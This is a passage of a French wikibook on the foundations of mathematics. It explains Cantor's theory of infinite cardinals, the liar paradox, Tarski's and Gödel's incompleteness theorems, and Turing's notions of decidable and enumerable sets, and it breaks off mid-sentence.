ensembliste ne me semble pas souhaitable si on s’interroge sur la fiabilité des principes. En plus des expressions formelles et des ensembles, on accepte l’existence des fonctions. On a une fonction quand on sait associer à chaque être x d’une catégorie un être f(x) défini de façon univoque. L’ensemble ou la classe des x pour lesquels f(x) existe est le domaine de la fonction f. f(x) est l’image par f de x. On le note aussi parfois fx. Le domaine d’une fonction n’est pas toujours un ensemble. Par exemple, soit f la fonction qui à un ensemble x associe l’ensemble Singleton de x , qui contient x comme unique élément. Le domaine de f est la classe de tous les ensembles. Je dis ici la classe et non l’ensemble, parce que dans de nombreuses théories, l’ensemble de tous les ensembles n’existe pas et ne peut pas exister sous peine de contradiction. Lorsque le domaine de f est un ensemble, f elle-même peut être considérée comme l’ensemble de tous les couples (x, fx) pour lesquels fx existe. Un ensemble de couples est en général défini comme l’extension conceptuelle d’un prédicat binaire, ou formule à deux variables libres, ou relation binaire. Un ensemble F de couples est considéré comme une fonction si et seulement si pour tous x, y, et z , si (x,y) et (x,z) sont dans F alors y=z. Cette propriété traduit l’univocité de la relation définie par F. On dit aussi que F définit une relation fonctionnelle. C’est en accord avec la signification courante que x est fonction de y lorsque y suffit pour déterminer x, lorsque x ne dépend que de y. Comme les sciences consistent toujours à établir de tels liens de dépendance entre les êtres ou les évènements, les fonctions sont des êtres abstraits d’une importance considérable. Tant que le domaine d’une fonction est un ensemble, l’ontologie des fonctions peut être réduite à celle des ensembles. Mais ce n’est pas toujours le cas. De telles fonctions, ou superfonctions, dont le domaine n’est pas un ensemble, sont utilisées dans toutes les théories des ensembles, parce qu’elles sont indispensables, mais elles ne sont pas considérées comme des fonctions ni vraiment comme des êtres mathématiques, mais seulement comme des auxiliaires du raisonnement, parce que l’ontologie strictement ensembliste interdit de leur donner l’existence. Telles sont par exemple, les fonctions de réunion et d’intersection d’ensembles. Quand on adopte une démarche ontologique progressive, les fonctions sont parfois plus fondamentales que les ensembles. Il n’y a aucune difficulté à considérer “Singleton de...” comme une fonction. En revanche, il y a beaucoup de difficultés à considérer son domaine comme un ensemble. Dans certaines théories, on veut que tous les êtres soient définis à partir d’objets déjà définis. Comme les fonctions jouent un rôle de premier plan dans la construction, ou définition, des ensembles, leur existence est établie de façon prioritaire. ==La théorie cantorienne des nombres infinis== Les nombres entiers positifs suffisent pour se faire une idée de l’infini. On peut écrire des nombres aussi grands que l’on veut. Il n’y a pas de nombre qui soit plus grand que tous les autres. On peut le démontrer par l’absurde. Supposons qu’il y ait un nombre plus grand que tous les autres. Appelons-le N. N+1 est plus grand que N contrairement à l’hypothèse, qui doit donc être rejetée, ce qu’il fallait démontrer. Montrons que l’on peut formaliser cette démonstration avec les règles de la déduction naturelle. 1 pour tout x, x est plus petit que x+1 (Axiome) 2 pour tout x et tout y, si x est plus petit que y alors y n’est pas plus petit que x (Axiome) 3 z est plus petit que z+1 4 si z est plus petit que z+1 alors z+1 n’est pas plus petit que z 5 z+1 n’est pas plus petit que z 6 pour tout w, w+1 n’est pas plus petit que w 7 °°°°° pour tout x, x est plus petit que N (Hypothèse) 8 °°°°° n’est pas plus petit que N 9 °°°°° N+1 est plus petit que N 10 °°°°° N+1 est plus petit que N et N+1 n’est pas plus petit que N 11 non(pour tout x, x est plus petit que N) 12 pour tout N, non( pour tout x, x est plus petit que N) CQFD (ce qu’il fallait démontrer) 3 est obtenu de 1 en remplaçant la variable x par le terme z en accord avec la règle de singularisation. 4 est obtenu de 2 en appliquant deux fois la règle de singularisation, on remplace d’abord x par z, puis y par z+1. 5 est obtenu de 3 et 4 par la règle du détachement. 6 est obtenu de 5 par la règle de généralisation. 6 est un théorème intermédiaire, ou lemme. 7 est l’hypothèse provisoire sur N dont on va montrer l’absurdité. 8 est obtenu de 6 par la règle de singularisation en remplaçant w par N. L’application de la règle est autorisée parce que 6 n’est pas décalé sur la droite par rapport à 8. 9 est obtenu de 7 par la règle de singularisation en remplaçant x par N+1. 10 est obtenu de 8 et 9 par la règle de synthèse. 11 est obtenu de 7 et 10 par le principe du raisonnement par l’absurde. 12 est obtenu de 11 par la règle de généralisation, parce que 11 ne dépend pas de l’hypothèse sur N faite en 7. Dans la suite les nombres entiers sont les nombres entiers positifs, dits aussi nombres naturels. Y a-t-il un sens à parler d’un nombre infini, du nombre de tous les nombres entiers par exemple ? Sous l’influence d’Aristote, on a lontemps considéré que c’était impossible. On disait que la notion d’infini a un sens quand il s’agit d’un infini potentiel, quand cela veut dire qu’une progression n’est pas limitée, mais que l’infini actuel n’a pas de sens, qu’on ne peut pas considérer un ensemble infini comme un tout. S’il n’y avait pas eu l’autorité d’Aristote, cette opinion n’aurait probablement pas été prise autant au sérieux, parce qu’il n’y a pas de difficulté à parler de l’ensemble de tous les nombres entiers et à dire des vérités à son sujet. L’idée du nombre des nombres entiers posait cependant des paradoxes. Par exemple l’ensemble des entiers est en un sens plus grand que l’ensemble des entiers pairs puisqu’il contient aussi l’ensemble des entiers impairs. On pourrait même être tenté de dire qu’il est deux fois plus grand. Cependant en un autre sens ces deux ensembles sont également grands puisqu’on peut obtenir l’un à partir de l’autre en remplaçant un à un chacun de ses éléments. Il suffit de remplacer chaque entier par son double pour avoir l’ensemble des entiers pairs à partir de l’ensemble des entiers. Ce paradoxe était connu de Galilée. Cantor a résolu le problème en adoptant la seconde définition et en affirmant sans crainte que le nombre des entiers est égal au nombre des entiers pairs. On appelle ce nombre l’infini dénombrable. Les ensembles infinis dénombrables sont aussi grands que l’ensemble des entiers. Deux ensembles E et F ont le même nombre d’éléments lorsqu’il existe une relation, ou correspondance, biunivoque entre leurs éléments. On dit aussi une fonction inversible ou une bijection. Une relation binaire R est biunivoque lorqu’elle est une fonction dans les deux directions, lorsque chaque élément de E est relié à un élément et un seul de F et inversement. On dit aussi que E et F ont le même cardinal. Il y a deux définitions cantoriennes des nombres infinis, les cardinaux et les ordinaux. Les ordinaux sont très importants, plus que les cardinaux à bien des égards, et ils seront présentés dans le chapitre 5, mais pour prouver l’existence des ensembles indicibles, c’est la théorie des cardinaux qui permet de conclure. Y a-t-il des ensembles infinis (strictement) plus grands que l’ensemble des entiers ? Oui. C’est la grande découverte de Cantor. Le nombre des nombres réels en particulier est un infini plus grand que le nombre des nombres entiers. On peut définir des nombres infinis toujours plus grands. Le grand théorème de Cantor permet de le comprendre : l’ensemble P(E) des sous-ensembles d’un ensemble E est toujours plus grand que E. Sa démonstration n’est pas très difficile. Elle se fait par l’absurde. Supposons qu’il existe une fonction inversible f entre E et P(E). Définissons le sous-ensemble C de E par x appartient à C si et seulement si x n’est pas élément de f(x). Comme C est élément de P(E) il existe c tel que C=f(c). c est-il élément de f(c) ? Le raisonnement est semblable à celui du paradoxe de Russell. Si c est élement de f(c)=C alors c n’est pas élément de C par définition de C, et de même si c n’est pas élément de f(c). Il faut donc rejeter l’hypothèse. La fonction f ne peut pas exister. E ne peut donc pas être aussi grand que P(E) et il est forcément plus petit puisque P(E) contient toutes les sous-ensembles de E qui ne contiennent qu’un seul élément. L’ensemble P(N) des ensembles de nombres entiers est donc plus grand que l’ensemble N des nombres entiers. Pour montrer que l’ensemble des nombres réels est plus grand que celui des entiers Cantor avait proposé une version particulière de la méthode précédente. Supposons qu’il existe une bijection entre les réels et les entiers. On pourrait alors écrire la liste de tous les nombres réels dans le même ordre que celui des entiers. Supposons que cette liste soit écrite en notation décimale et que toutes les virgules soient placées sur une même verticale. Définissons alors le nombre réel GC. Le seul chiffre de GC avant la virgule est zéro. Si la première décimale du premier nombre réel listé est 1 alors la première décimale de GC est 2 sinon elle est 1. Si la deuxième décimale du deuxième nombre réel listé est 1 alors la deuxième décimale de GC est 2 sinon elle est 1. On applique la même règle pour toutes les décimales de GC en suivant la diagonale des décimales de la liste des nombres réels. C’est la méthode de la diagonale de Cantor. GC est un nombre réel bien défini puisqu’on a défini toutes ses décimales. GC n’appartient pas à la liste puisqu’il y a au moins une décimale de différence entre GC et chacun des nombres listés. La liste ne contient donc pas tous les nombres réels, contrairement à l’hypothèse. Il ne peut donc pas exister de fonction inversible entre les entiers et les réels. On appelle le nombre des nombres réels la puissance du continu. Le théorème précédent affirme que la puissance du continu est plus grande (strictement) que l’infini dénombrable, qu’elle est indénombrable. ==Le théorème de l’incomplétude ontologique : il existe des ensembles indicibles== Si un ensemble n’est ni fini, ni dénombrable, on dit qu’il est indénombrable. Le théorème de l’incomplétude ontologique est une conséquence des théorèmes de Cantor, parce qu’un ensemble indénombrable est indicible. Pour le prouver, il suffit de montrer que l’ensemble de tous les noms dans une théorie est toujours au plus dénombrable. La définition d’une théorie respecte deux conditions. a) L’alphabet, ou liste des symboles fondamentaux, ou lettres, est toujours fini. b) Les mots, ou expressions formelles, sont des suites finies de lettres. Pour prouver que l’ensemble infini de tous les mots est dénombrable il suffit de définir un ordre, par exemple un ordre de type lexicographique, sur cet ensemble. L’existence de la fonction inversible qui associe à chaque mot son numéro d’ordre suffit pour terminer la preuve. Certains logiciens ont défini des “théories” pour lesquelles l’une ou l’autre des conditions a et b n’est pas vraie. Alors l’ensemble des mots peut être indénombrable. Mais ce ne sont pas des théories au sens ordinaire du mot. Même lorsque la condition a est relachée et qu’on autorise un alphabet infini dénombrable, l’ensemble de tous les mots est encore dénombrable. A partir des théorèmes de Cantor et de la dénombrabilité de tout ensemble de noms, on peut conclure que si un ensemble E est infini, alors l’ensemble P(E) de ses parties est indicible. Fondements des mathématiques:Chapitre 4 2662 14243 2005-04-20T17:56:45Z Guillaumito 46 {{Fondements des mathématiques}} {{Fondements des mathématiques}} <center> <font size="+2"> L'incomplétude mathématique </font> </center> ---- L’existence des ensembles indicibles montre le caractère essentiellement incomplet de toute théorie mathématique. Cette incomplétude ontologique n’était pas considérée comme une restriction trop sévère avant que Gödel ait prouvé ses théorèmes d’incomplétude. Les mathématiciens pouvaient espérer que les éléments sans noms des ensembles indicibles n’étaient pas importants, que tous les ensembles “intéressants” pouvaient être définis à l’intérieur des théories existantes. La pratique confirmait cet espoir, parce que les outils connus de contruction des ensembles étaient suffisants pour couvrir tous les besoins courants. Les théorèmes de Gödel ont montré que l’incomplétude mathématique n’est pas seulement ontologique. Toutes les théories mathématiques générales sont incomplètes au sens où elles ne sont jamais capables de prouver toutes leurs vérités. Elles ne peuvent pas apporter de réponses à toutes les questions qu’elles permettent pourtant de poser. Elles ne contiennent jamais assez d’axiomes pour cela. Le chapitre 6 prouvera que l’incomplétude de la prouvabilité axiomatique est étroitement liée à l’incomplétude ontologique, ce qui n’est pas étonnant, puisqu’une ontologie est fixée par des axiomes. Mais c’est très important pour comprendre que les théorèmes d’incomplétude sont des manifestations de la puissance de l’imagination et de la raison. Ils ne sont pas des preuves d’une insuffisance de la logique, comme cela est admis couramment, d’une façon incohérente, parmi de nombreux autres préjugés, ésotériques ou pseudo-mystiques, qui circulent sur ce sujet. ==Le paradoxe du menteur== Les théorèmes d’incomplétude mettent à profit un très ancien paradoxe. Quelqu’un dit “je mens”, est-ce qu’il ment ? S’il ment c’est qu’il ne ment pas. S’il ne ment pas c’est qu’il ment. Ce qu’il dit affirme sa propre fausseté. Le même paradoxe peut être présenté sous de nombreuses formes, parfois plus rigoureuses. La présente phrase qui commence par “la présente phrase” et finit par “est fausse” est fausse. Ou plus simplement. Cette phrase est fausse. Une théorie est un ensemble de phrases. On peut la considérer comme une sorte de diseur de vérités. La théorie dit que toutes ses phrases sont vraies. Le paradoxe du menteur prouve qu’il y a des restrictions sur les capacités des diseurs de vérité quand ceux-ci sont capables de formuler des énoncés à propos de ce qu’ils disent. Supposons qu’un diseur de vérité soit capable de répondre par avance à toutes les questions sur ce qu’il va répondre. Posons-lui alors la question “à cette question vas-tu répondre non ?”. Qu’il réponde oui ou non, dans les deux cas il dit faux. Il ne peut donc pas répondre sans se tromper. Il s’agit d’une incomplétude essentielle pour les théories et les diseurs de vérité. Ils ne peuvent pas dire toute la vérité sur tout ce qu’ils disent à partir du moment où leurs moyens d’expression sont suffisamment riches pour permettre de poser des questions telles que celle qui vient d’être citée. En résumé, dès qu’on peut poser à un diseur de vérité des questions telles que “à cette question vas-tu répondre non ?” il ne peut pas à la fois toujours répondre et toujours dire la vérité. Une théorie à la fois riche et vraie est forcément incomplète. Le paradoxe du menteur permet de prouver l’incomplétude des théories mathématiques dès que leurs moyens d’expression sont suffisamment riches. Gödel, Tarski, Church, Post, Türing et beaucoup d’autres ont montré que de très nombreuses théories permettent d’énoncer des formules paradoxales semblables à celle du menteur. En particulier, toutes les théories destinées à fonder les mathématiques, même l’arithmétique formelle, permettent d’énoncer de telles formules. ==Les prédicats de vérité et le théorème d’incomplétude de Tarski== Les énoncés paradoxaux sont produits par une technique logique très générale qui consiste à représenter les formules d’une théorie T par des objets de T. C’est possible dès que T contient les nombres entiers positifs parmi ses objets. Gödel et ses successeurs ont inventé des techniques de codage, de numérotation, qui permettent de représenter n’importe quelle formule par un entier, de telle façon que chaque entier représente au plus une formule. Dans la suite, les théorèmes de Gödel et Tarski sont énoncés avec l’ensemble des nombres entiers positifs, qu’on appellera tout simplement nombres. Mais on pourrait remplacer cet ensemble par n’importe quel autre système formel infini. Quand on les énonce avec les nombres, ces théorèmes sont plus faciles à comprendre mais il est aussi plus difficile de prouver que les théories mathématiques générales satisfont aux conditions des théorèmes. Dans le chapitre suivant, nous prouverons qu’une théorie élémentaire des ensembles satisfait à ces conditions. Mais les formules ne seront pas représentées par des nombres. L’ensemble des noms que nous choisirons se prêtera plus aisément que les nombres à la représentation des formules. Si une théorie a un modèle, l’ensemble de toutes ses formules vraies est défini sans équivoque. Lorsqu’une théorie est représenté à l’intérieur d’elle-même, l’ensemble de tous les objets qui représentent des formules vraies est lui aussi défini sans équivoque. Toute théorie vraie permet de définir des ensembles même si elle n’est pas une théorie des ensembles, parce qu’elle permet toujours de définir des prédicats. Par exemple, le prédicat (il existe un y tel que x = y+y) contient x comme unique variable libre, il est donc unaire, et pour l’arithmétique il définit l’ensemble des nombres pairs. Un prédicat définit de même un ensemble de couples s’il est binaire, de triplets s’il est ternaire, et ainsi de suite. On peut alors se demander si parmi tous les prédicats d’une théorie vraie, il y en a un qui définit l’ensemble de tous les représentants des formules vraies. Tarski a prouvé que sous des conditions générales, l’existence d’un tel prédicat est impossible. C’est une autre manifestation de l’incomplétude ontologique. Une théorie ne permet jamais de définir tous les ensembles qui ont cependant le droit d’exister. L’ensemble de tous les représentants des formules vraies existe d’une façon aussi certaine que tous les ensembles définis avec des moyens élémentaires. Le théorème de Tarski dit qu’une théorie mathématique vraie et suffisamment riche ne permet jamais de définir un prédicat de vérité pour elle-même. Plus précisément les conditions du théorème sont les suivantes. a) Une théorie T a suffisamment de moyens d’expression pour qu’elle compte parmi ses objets tous les nombres. b) Elle est vraie au sens où elle a un modèle et où toutes ses formules arithmétiques vraies, au sens de la théorie des nombres, sont également vraies pour ce modèle. c) Les opérateurs de la logique du premier ordre (négation, conjonction, existentiation) sont utilisés dans T. d) Il existe un procédé de codage qui permet de représenter toutes les formules de T par un nombre unique et pour lequel il existe une formule de T, SUBxyz, qui contient trois variables libres, et qui est vraie si et seulement si (x représente une formule p de T avec une variable libre et z représente une formule obtenue par la substitution du nombre y à toutes les occurences de la variable libre de p). SUB est un prédicat ternaire de T. x représente n’importe quel prédicat unaire p de T. On peut déduire de d) que SUB est une relation fonctionnelle de deux variables, au sens où pour tous w, x, y, z, si (SUBxyz et SUBxyw) alors z=w et où pour tous nombres x et y, si x représente un prédicat unaire de T alors il existe un z tel que SUBxyz. Les conditions a, b, c et d sont très généralement vérifiées pour les théories destinées à fonder les mathématiques. Même l’arithmétique formelle est suffisamment riche pour se représenter ainsi elle-même. Mais la définition du prédicat ternaire SUB est techniquement assez élaborée et ne sera pas exposée ici. Faisons alors l’hypothèse que T permet de définir un prédicat unaire, c’est à dire une formule avec une variable libre, Vx et que Vx est vrai si et seulement si x représente une formule vraie de T. Autrement dit, on suppose que T permet de définir un prédicat de vérité pour T. Tarski a prouvé que cette hypothèse conduit à une contradiction. Considérons la formule (il existe un z tel que SUBxxz et non Vz). C’est une formule avec une variable libre que T permet de définir. Elle est donc représentée par un nombre n de T. Il y a aussi un autre nombre AT de T tel que SUBnn(AT). Est-ce que AT représente une formule vraie ? La formule représentée par AT dit que le prédicat représenté par n est vrai pour n. Le prédicat représenté par n est vrai pour x si et seulement si il existe un z tel que SUBxxz et non Vz. V(AT) est donc équivalent à (il existe un z tel que SUBnnz et non Vz) par définition de AT. De la condition c, on déduit que SUBnnz équivaut à z=(AT). Donc par définition de AT, V(AT) équivaut à non V(AT). C’est une contradiction. Il s’agit bien du paradoxe du menteur, parce que du fait de sa définition la formule représentée par AT dit d’elle-même qu’elle est fausse. Puisque l’hypothèse de l’existence du prédicat de vérité V conduit à une contradiction, elle doit être rejetée. Tel est précisément le théorème d’incomplétude de Tarski. Une théorie mathématique vraie et suffisamment riche ne permet jamais de définir un prédicat de vérité pour elle-même. Ou plus précisément. Une théorie mathématique vraie T, pour laquelle les conditions a, b et c et d sont vérifiées, ne permet jamais de définir une formule à une variable libre qui serait vraie pour toutes les représentations des formules vraies de T et seulement pour elles. Le théorème de Tarski n’est pas toujours applicable. Le chapitre suivant donnera deux exemples de prédicats de vérité. Le premier est un prédicat de vérité pour la théorie Enum de tous les ensembles énumérables. Son existence est une conséquence du théorème fondamental de l’énumérabilité. Dans ce cas, la condition b du théorème de Tarski n’est pas remplie. L’existence d’un prédicat de vérité pour la théorie Finitaire1 des ensembles finitaires de base pourra être établie avec un modèle non-standard, pour lequel il n’existe pas de prédicat ternaire SUB. ==Les prédicats de prouvabilité et le premier théorème d’incomplétude de Gödel== Gödel a prouvé qu’une théorie mathématique T vraie et suffisamment riche remplit une autre condition. Pour toute théorie axiomatique T’, il existe dans T un prédicat de prouvabilité pour T’, c’est à dire une formule à une variable x qui est vraie si et seulement si x représente un théorème de T’, c’est à dire une formule démontrable à partir des axiomes de T’. En particulier, T contient un prédicat de prouvabilité pour elle-même. Même l’arithmétique formelle est capable de représenter ainsi toutes les théories axiomatiques. En ce sens on peut la voir comme une théorie universelle. Il suffit de savoir raisonner sur les nombres pour définir toutes les théories concevables. Les nombres peuvent être considérés comme les atomes, les principes premiers de la raison, au sens où tout le reste peut être construit à partir d’eux. Il y a quelque chose de pythagoricien, tout est nombre, dans cette approche gödelienne des mathématiques. Comme pour la condition d du théorème de Tarski, la preuve de l’existence d’un prédicat de prouvabilité est un peu difficile quand on représente des formules par des nombres. Dans le chapitre suivant, on montrera que l’existence d’un prédicat de prouvabilité pour toute théorie axiomatique à l’intérieur d’une théorie élémentaire, Enum, est une conséquence directe du théorème fondamental de l’énumérabilité, qui sera démontré. A partir du théorème de Tarski et de l’existence d’un prédicat de prouvabilité on déduit le premier théorème d’incomplétude de Gödel comme une conséquence directe. Une théorie axiomatique, vraie et suffisamment riche, ne peut pas prouver toutes ses formules vraies. Ce théorème peut être considéré comme un corollaire de celui de Tarski. Mais Gödel est le premier à avoir publié ses preuves. Tarski a eu les mêmes intuitions au même moment. La fin de la preuve de Gödel est semblable à celle de Tarski, sauf qu’il se sert pas d’un prédicat de vérité mais du prédicat de prouvabilité dont il a montré auparavant l’existence. Gödel considère alors la formule (il existe un z tel que SUBxxz et non Pz). Elle est représentée par un nombre n de T. Il y a aussi un autre nombre KG tel que SUBnn(KG). n et (KG) sont des nombres bien définis que l’on peut calculer dès que les axiomes de T et le procédé de représentation des formules de T par des nombres sont précisément définis. KG représente-t-il une formule prouvable ? La formule représentée par KG dit que le prédicat représenté par n est vrai pour n. Le prédicat représenté par n est vrai pour x si et seulement si il existe un z tel que SUBxxz et non Pz. La formule représentée par KG est donc équivalente à (il existe un z tel que SUBnnz et non Pz) par définition de KG. Or SUBnnz équivaut à z=(KG). Donc par définition de KG, la formule représentée par KG équivaut à non P(KG). Autrement dit la formule représentée par KG dit d’elle-même qu’elle n’est pas prouvable. Si on suppose que T est cohérente alors KG est nécessairement vraie, parce que si elle ne l’était pas, alors elle serait prouvable, T permettrait de prouver une formule fausse et ne serait donc pas cohérente. La partie longue de la démonstration de Gödel consiste à définir un prédicat de prouvabilité à l’aide d’une représentation des formules par numérotation. Après les découvertes de Church, Post et Türing, les résultats de Gödel sur la prouvabilité s’inscrivent dans un contexte plus général, celui des ensembles énumérables. Nous montrerons que l’ensemble des théorèmes, ou formules prouvables, d’une théorie axiomatique est énumérable. On pourrait croire que les énoncés vrais mais non prouvables sont toujours des formules très compliquées, construites avec des techniques logiques paradoxales, qui n’interviennent jamais dans les mathématiques couramment étudiées. Autrement dit, on pourrait espérer que l’incomplétude est seulement marginale et qu’elle ne concerne pas les questions mathématiques importantes. La preuve donnée par Cohen qu’une conjecture de Cantor, l’hypothèse du continu, n’est pas prouvable à partir des axiomes de ZFC, montre au contraire que l’improuvabilité est une question qui se pose vraiment. En nous fondant sur cette preuve nous montrerons que les ensembles indicibles sont indéfinis, au sens où il n’est pas possible de définir de façon univoque la notion de vérité à leur sujet. Même des théorèmes des mathématiques élémentaires, sur les équations diophantiennes par exemple, ne peuvent pas être prouvés sur la base des seuls axiomes couramment acceptés. ==Les ensembles indicibles sont indéfinis== Les ensembles indicibles conduisent à des énoncés indéfinis, c’est à dire des énoncés pour lesquels on ne sait pas vraiment donner un sens à l’affirmation de leur vérité ou de leur fausseté. Tous les ensembles indicibles sont indéfinis, pour les raisons suivantes. Pour donner un sens à une affirmation d’existence d’un élément d’un ensemble E, il faut une théorie. Par définition des ensembles indicibles, ceux-ci ne peuvent pas être complètement définis à l’intérieur d’une théorie. Comment savoir alors si une affirmation d’inexistence est vraie ? Si un être n’existe pas dans une théorie, il pourrait exister dans une autre. La seule façon de prouver de telles affirmations d’inexistence consiste à prouver que l’existence conduirait à une contradiction. Mais la présence d’une contradiction dans une théorie dépend de tous les axiomes qui la définissent. L’existence de l’ensemble de tous les ensembles par exemple conduit à une contradiction dans la théorie ZFC mais pas dans la théorie du zig-zag interdit. La vérité des énoncés d’existence sur le contenu des ensembles indicibles ne peut donc pas être définie d’une façon non-équivoque. Elle dépend d’une part d’arbitraire dans le choix des axiomes. L’hypothèse du continu, “le plus petit nombre ordinal infini dont le cardinal est plus grand que celui du premier ordinal infini, est le nombre des nombres réels”, est l’un des plus célèbres de ces énoncés indéfinis. Sa vérité est problèmatique. Le problème n’est pas seulement qu’on ne sait pas s’il est vrai ou faux mais surtout qu’on ne sait pas bien quel sens donner à l’affirmation de sa vérité ou de sa fausseté. L’ensemble PC(O) de tous les ordinaux inférieurs à un ordinal donné O et dont le cardinal est plus grand que celui du premier ordinal infini, est un ensemble indéfini, parce que la vérité des énoncés d’appartenance à PC(O) n’est pas définie de façon univoque. Il restera indéfini tant qu’on ne saura pas comment définir sa vérité avec fiabilité et précision. ==Les ensembles décidables et énumérables== On doit principalement à Türing l’approche de l’incomplétude que nous allons maintenant présenter. Elle permet de poser le problème de la prouvabilité dans toute sa généralité. Elle repose principalement sur la définition des ensembles énumérables. Türing a conçu une machine idéale pour apporter une réponse précise et bien définie à la question, qu’est-ce qui est vraiment calculable ? Les ordinateurs ont été inventés ensuite. Ils sont une réalisation concrète de l’idée de Türing. La décidabilité et l’énumérabilité sont deux façons de préciser ce qu’on entend par la calculabilité. Les ensembles décidables sont énumérables mais l’inverse n’est pas toujours vrai. Les différences entre ces ensembles viennent de la nature du critère d’après lequel on peut savoir quels éléments ils contiennent et ne contiennent pas. Si ce critère est efficace à la fois pour les affirmations et pour les négations, alors l’ensemble est décidable. Si ce critère est efficace seulement pour les affirmations alors l’ensemble est énumérable. Il y a plusieurs façons équivalentes de donner une définition précise à cette notion d’efficacité des procédures de décision. Les découvertes de Herbrand, Gödel, Church, Post, Türing, et de beaucoup d’autres ont conduit à de telles définitions. La définition proposée par Türing sera présentée ici parce qu’elle est la plus facile à comprendre maintenant qu’aujourd’hui tout le monde ou presque connait l’existence des ordinateurs. Dans le chapitre suivant, nous présenterons une autre définition, équivalente, inspirée des travaux de Post et de la thèse de doctorat de Smullyan, parce qu’elle est mieux adaptée à la méthode axiomatique. Selon Türing, un ensemble E d’expressions formelles est décidable lorsqu’on peut programmer un ordinateur de telle façon que pour toute expression formelle x, la machine puisse répondre si oui ou non E contient x. Si un ensemble est fini et si on connait la liste de ses éléments alors il est décidable. Certains ensembles infinis sont également décidables, par exemple (l’ensemble de toutes les égalités x à la puissance y = z où x, y et z sont des entiers) est décidable. Il suffit de programmer un ordinateur pour qu’il calcule x à la puissance y et qu’il compare le résultat avec z. On pense en général que les capacités de calcul d’un ordinateur sont limitées, à cause de la finitude de sa mémoire. Pour donner à sa définition toute la généralité de l’infini mathématique, Türing avait inventé le concept d’une machine dotée d’une mémoire infinie : un ruban de papier d’une longueur en principe illimitée. Le concept de Türing est à l’origine de l’invention des ordinateurs. On peut aussi considérer que leur mémoire est infinie, parce qu’on peut les connecter à des banques de données, dont la taille peut être augmentée indéfiniment. Avec une telle extension de mémoire, les ordinateurs peuvent faire tout ce que peuvent faire les machines idéales de Türing. Un ensemble E est énumérable lorsqu’on peut programmer un ordinateur pour qu’il soit toujours capable de répondre oui si on lui présente le nom d’un élément de E et qu’il ne réponde jamais oui si on lui présente le nom d’un être qui n’est pas dans E. Mais dans ce dernier cas on n’exige pas que l’ordinateur réponde non. Il suffit qu’il ne réponde pas, il peut continuer à tourner indéfiniment sans jamais fournir de réponse. On peut définir la décidabilité à partir de l’énumérabilité en disant qu’un ensemble est décidable si et seulement si lui-même et son complémentaire (dans l’ensemble de toutes les expressions formelles composées des mêmes symboles) sont énumérables. Lorsqu’un ensemble est énumérable, on peut prouver pour tous ses éléments qu’il les contient. Les preuves consistent simplement à mettre en route la machine et à attendre qu’elle apporte les réponses souhaitées. Mais on ne sait pas a priori comment prouver qu’il ne contient pas certains éléments. Un simple mortel ne peut pas attendre une éternité. Si la machine continue à tourner, il ne sait pas a priori si elle va s’arrêter un jour et fournir un résultat ou si elle ne s’arrêtera jamais. Une autre définition de l’énumérabilité consiste à dire qu’un ensemble est énumérable lorsqu’on peut programmer un ordinateur pour qu’il énumère, qu’il écrive par exemple, les noms de tous ses éléments. Si l’ensemble est infini, la machine ne s’arrête jamais, et consomme une quantité illimitée de papier. Pour montrer que cette énumérabilité, appelons la liste-énumérabilité, est équivalente à la définition précédente, la oui-énumérabilité, il faut remarquer qu’on peut toujours programmer un ordinateur en mode multi-tâche. Plus précisément, on lui prescrit un temps de travail unitaire, disons 1 million d’opérations, et on lui prescrit d’examiner un ensemble infini de questions, en consacrant à chaque question un temps de travail unitaire. S’il ne trouve pas la réponse pendant ce temps limité, il conserve la question en mémoire et passe à la question suivante. On peut programmer un cheminement dans l’ensemble des questions tel que l’ordinateur revienne toujours aux questions auxquelles il n’a pas trouvé de réponses sans jamais cesser d’examiner de nouvelles questions et tel qu’il arrive ainsi à trouver les réponses à toutes les questions, en nombre infini, qui ont effectivement une réponse. Cela montre qu’un ensemble oui-énumérable est aussi liste-énumérable. La réciproque n’est pas difficile à prouver. Une théorie axiomatique est toujours énumérable, pour les raisons suivantes. La liste, finie ou infinie, de ses axiomes, est toujours décidable, parce qu’on veut savoir précisément ce qui est et ce qui n’est pas un axiome. Les méthodes formelles imposent que les règles de déduction aient un caractère mécanique, qu’elles puissent être appliquées aveuglémént par une machine. L’ensemble des preuves formelles est donc toujours décidable. Si on présente une preuve formalisée à un ordinateur convenablement programmé, il répond si oui ou non la preuve est correcte, si oui ou non elle commence par des axiomes et respecte les règles de déduction. La théorie, c’est à dire l’ensemble des théorèmes, ou formules prouvables à partir des axiomes, est énumérable, parce qu’on peut définir un ordre sur l’ensemble de toutes les listes finies de formules. Soit une formule F dont on veut savoir si elle est un théorème. L’ordinateur examine chaque liste finie de formules une par une et décide si oui ou non elle est une preuve formelle. Si oui, alors la dernière formule de la liste est un théorème. Si cette formule est F alors l’ordinateur s’arrête et répond que F est un théorème. Dans les autres cas, l’ordinateur examine la liste finie suivante. Si F est vraiment un théorème, un ordinateur ainsi programmé trouvera toujours la réponse, parce qu’il examine toutes les preuves formelles possibles. Mais il mettra beaucoup de temps, beaucoup trop pour que cette méthode soit réellement efficace pour nous simples mortels. Si F n’est pas un théorème, l’ordinateur ne s’arrête jamais, il examine sans arrêt de nouvelles listes, il trouve de nouvelles preuves, mais il ne trouvera jamais de preuve de F, puisque F n’est pas un théorème. Une théorie axiomatique est donc toujours énumérable mais il n’est pas sûr a priori qu’elle soit décidable. Avant que la notion de décidabilité soit précisément définie, Hilbert avait espéré que l’on pourrait définir l’ensemble de toutes les vérités mathématiques comme un ensemble décidable. Gödel et ses successeurs ont montré qu’il existe des ensembles indécidables et que toutes les théories mathématiques suffisamment riches sont indécidables. Les ensembles décidables sont importants mais ils ne sont pas suffisants pour définir des théories suffisamment riches. Celles-ci sont des ensembles énumérables mais indécidables. ==Le théorème fondamental de l’indécidabilité et le problème de Türing== Le théorème fondamental de l’indécidabilité établit l’existence d’au moins un ensemble indécidable. A partir de l’existence d’un ensemble indécidable on ne peut pas conclure qu’il y a des problèmes mathématiques bien définis et néanmoins insolubles, mais seulement qu’il n’existe pas de méthode unique et bien définie pour répondre à toutes les questions, en nombre infini, qui portent sur certains ensembles bien définis. Tous les théorèmes sur l’incomplétude de la prouvabilité axiomatique peuvent être considérés comme des corollaires des théorèmes d’existence d’ensembles indécidables. Le raisonnement est le suivant. Une théorie axiomatique T est toujours énumérable. Si elle est suffisamment riche, elle permet de définir un ensemble indécidable Indécid et son complémentaire C-Indécid. Si T était complète, elle contiendrait toutes les vérités sur C-Indécid. Comme T est énumérable, C-Indécid serait alors lui aussi énumérable. Mais C-Indécid n’est pas énumérable, parce que Indécid est indécidable. Il faut alors conclure que T est incomplète. La présente section expose la preuve de Türing du théorème fondamental de l’indécidabilité. Cette preuve sera informelle. Pour une preuve 